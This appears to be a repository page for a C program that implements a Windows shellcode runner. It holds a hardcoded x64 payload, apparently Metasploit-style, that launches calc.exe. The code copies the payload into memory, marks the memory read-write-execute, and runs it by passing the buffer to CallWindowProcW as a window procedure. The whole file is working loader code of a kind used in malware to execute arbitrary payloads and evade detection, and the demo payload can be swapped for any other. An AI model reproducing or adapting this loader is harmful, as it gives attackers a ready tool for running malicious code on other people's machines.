Files
hassan ali b45b822d9e Implement shellcode execution via CallWindowProcW
This program allocates memory for shellcode, copies it to the allocated buffer, changes the memory permissions to executable, and calls it as a window procedure.
2025-09-01 04:28:50 +03:00

66 lines
2.4 KiB
C

#include <Windows.h>
#include <stdio.h>
int main()
{
//our shellcode X64 Calc
unsigned char ShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
//allocate memory page for execution
SIZE_T sizeofShellCode = sizeof(ShellCode);
PVOID pShellcodeAddress = VirtualAlloc(NULL, sizeofShellCode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("[+] New Buffer allocated at: %p\n", pShellcodeAddress);
//copy the shell code to newlly allocated buffer
memcpy(pShellcodeAddress, ShellCode, sizeofShellCode);
printf("[+] Shellcode Copied to : %p\n", pShellcodeAddress);
//change the buffer permssions to be RWX
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, sizeofShellCode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {//
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] ShellCode permisstions changed to RWX \n");
printf("[+] Calling CallWindowProcW \n");
printf("[+] Done \n");
WNDPROC shellProc = (WNDPROC)pShellcodeAddress;
// Dummy HWND and parameters
HWND hwnd = NULL;
UINT msg = 0;
WPARAM wParam = 0;
LPARAM lParam = 0;
// Call the shellcode as a window procedure
LRESULT result = CallWindowProcW(shellProc, hwnd, msg, wParam, lParam);
printf("CallWindowProcW returned: %lld\n", result);
getchar();
}